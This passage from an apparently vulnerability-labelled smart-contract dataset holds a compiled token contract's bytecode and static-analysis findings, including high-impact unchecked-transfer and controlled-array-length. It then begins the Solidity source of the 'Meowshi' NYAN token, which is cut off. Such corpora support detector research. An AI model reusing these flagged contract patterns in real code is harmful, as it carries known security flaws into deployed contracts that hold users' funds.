60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163b57600080fd5b6116ca82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461188e57600080fd5b600160149054906101000a900460ff166118a757600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461194b57600080fd5b61196082600554613bc490919063ffffffff16565b6005819055506119b882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ac657600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611b1257600080fd5b6000339050611b6983600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc183600554613bad90919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600160149054906101000a900460ff1681565b60008060009050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5a5760008090505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611d5857611d49600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611d2857fe5b90600052602060002090600402016003015483613bc490919063ffffffff16565b91508080600101915050611c91565b505b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dff57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5557600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611f3457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f8e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461212d57600080fd5b84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561217957600080fd5b600083141561218757600192505b6121d985600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052808681526020018581526020016122988561228a60648b613be090919063ffffffff16565b613bf990919063ffffffff16565b81526020018781525090806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050506001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427866040518082815260200191505060405180910390a26001905095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661245b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082106124a957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106124f557fe5b90600052602060002090600402019050600081600301549050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061255857fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061261e6001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b8154811061262857fe5b9060005260206000209060040201600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061268057fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181805490500391508161270e919061440b565b506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905014156127b3576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a261285381600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128fb57600080fd5b600160149054906101000a900460ff161561291557600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a185780601f106129ed57610100808354040283529160200191612a18565b820191906000526020600020905b8154815290600101906020018083116129fb57829003601f168201915b505050505081565b600042905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a6357600080fd5b612af282600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615612c7957600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612cd157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d2e57612d2c33613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612d6857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115612db457600080fd5b612e0683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612fa957600080fd5b612fb38686613769565b50612fc186868686866120d2565b506001905095945050505050565b600080600080600080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561323b57600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020898154811061310457fe5b906000526020600020906004020160030154600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a8154811061316057fe5b906000526020600020906004020160000154600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208b815481106131bc57fe5b906000526020600020906004020160010154600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208c8154811061321857fe5b9060005260206000209060040201600201549550955095509550955095506132ea565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000806000808393508292508191508090509550955095509550955095505b9295509295509295565b60006132ff84613c30565b61330857600080fd5b60008490506133178585610f32565b15613466578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156133f55780820151818401526020810190506133da565b50505050905090810190601f1680156134225780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561344457600080fd5b505af1158015613458573d6000803e3d6000fd5b505050506001915050613468565b505b9392505050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461359757600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135ee57600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146136eb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561372557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146137c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156137fe57600080fd5b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561386b57600080fd5b6138de82600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061399482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613ba25760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b1c576001915050613ba8565b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613b6757fe5b90600052602060002090600402016000015411613b9557613b888382613c43565b15613b94576001810390505b5b8080600101915050613a6f565b50600190505b919050565b600082821115613bb957fe5b818303905092915050565b600080828401905083811015613bd657fe5b8091505092915050565b600080828481613bec57fe5b0490508091505092915050565b600080831415613c0c5760009050613c2a565b6000828402905082848281613c1d57fe5b0414613c2557fe5b809150505b92915050565b600080823b905060008111915050919050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613c9b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508210613ce957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613d3557fe5b906000526020600020906004020190506000816002015490506000613d67836000015442613bad90919063ffffffff16565b90506000613d82846001015483613be090919063ffffffff16565b9050613dad613d9e856002015483613bf990919063ffffffff16565b84613bc490919063ffffffff16565b9250836003015483106141565783600301549250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110613e0b57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613ed16001600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b81548110613edb57fe5b9060005260206000209060040201600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110613f3357fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081613fc1919061440b565b506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415614066576000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a261410683600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001945050505050614405565b6141ed6141838560010154614175600185613bc490919063ffffffff16565b613bf990919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002088815481106141cd57fe5b906000526020600020906004020160000154613bc490919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061423757fe5b9060005260206000209060040201600001819055506142ba83600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061429a57fe5b906000526020600020906004020160030154613bad90919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061430457fe5b9060005260206000209060040201600301819055508673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a26143b983600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060009450505050505b92915050565b81548183558181111561443857600402816004028360005260206000209182019101614437919061443d565b5b505050565b61447991905b808211156144755760008082016000905560018201600090556002820160009055600382016000905550600401614443565b5090565b9056fea265627a7a72315820a2a3344bc2b72db7b09c6a06ede9d243b18aca5ac134617f5bd0fef8e9ad02c264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,193
0x4fa5116809b8428934d148c2975f366e8920f24b
/** *Submitted for verification at Etherscan.io on 2021-05-24 */ // SPDX-License-Identifier: UNLICENSED // @title Meowshi 🐈 🍣 🍱 // @author Gatoshi Nyakamoto pragma solidity 0.8.4; // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for Meowshi. contract Domain { string constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01"; // see https://eips.ethereum.org/EIPS/eip-191 bytes32 constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"); bytes32 immutable _DOMAIN_SEPARATOR; uint256 immutable DOMAIN_SEPARATOR_CHAIN_ID; constructor() { uint256 chainId; assembly { chainId := chainid() } _DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId); } /// @dev Calculate the DOMAIN_SEPARATOR. function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) { return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this))); } /// @dev Return the DOMAIN_SEPARATOR. function DOMAIN_SEPARATOR() public view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); } function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) { digest = keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, DOMAIN_SEPARATOR(), dataHash)); } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for Meowshi. contract ERC20 is Domain { /// @dev keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"). bytes32 constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner > balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner > nonce mapping used in {permit}. mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice Approves `amount` from msg.sender to be spent by `spender`. /// @param spender Address of the party that can draw tokens from msg.sender's account. /// @param amount The maximum collective `amount` that `spender` can draw. /// @return (bool) Returns 'true' if succeeded. function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Approves `amount` from `owner` to be spent by `spender` using the EIP-2612 method. /// @param owner Address of the `owner`. /// @param spender The address of the `spender` that gets approved to draw from `owner`. /// @param amount The maximum collective `amount` that `spender` can draw. /// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds). function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); require(ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner, spender, amount, nonces[owner]++, deadline))), v, r, s) == owner, "ERC20: Invalid Signature"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transfer(address to, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`. /// @param from Address to draw tokens `from`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transferFrom(address from, address to, uint256 amount) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount; balanceOf[from] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for Meowshi. contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. function _getRevertMsg(bytes memory _returnData) private pure returns (string memory) { if (_returnData.length < 68) return "Transaction reverted silently"; // if length is less than 68, tx failed w/o revert message assembly { _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // all that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If 'true', reverts after a failed call and stops further calls. function batch(bytes[] calldata calls, bool revertOnFail) external { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); if (!success && revertOnFail) revert(_getRevertMsg(result)); } } } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IERC20{} interface IBentoBoxBasic { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBar { function balanceOf(address account) external view returns (uint256); function enter(uint256 amount) external; function leave(uint256 share) external; function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /// @notice Meowshi takes SUSHI / xSUSHI to mint NYAN tokens that can be burned to claim SUSHI / xSUSHI from BENTO with yields. // ៱˳_˳៱ ∫ contract Meowshi is ERC20, BaseBoringBatchable { IBentoBoxBasic constant bentoBox = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet) ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet) address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet) string public constant name = "Meowshi"; string public constant symbol = "NYAN"; uint8 public constant decimals = 18; uint256 constant multiplier = 10000; // 1 xSUSHI BENTO share = 10,000 NYAN uint256 public totalSupply; constructor() { sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract ISushiBar(sushiBar).approve(address(bentoBox), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract } // **** xSUSHI /// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint NYAN for `to`. function nyan(address to, uint256 amount) external returns (uint256 shares) { ISushiBar(sushiBar).transferFrom(msg.sender, address(bentoBox), amount); // forward to BENTO for skim (, shares) = bentoBox.deposit(IERC20(sushiBar), address(bentoBox), address(this), amount, 0); nyanMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn NYAN `amount`. Claim xSUSHI 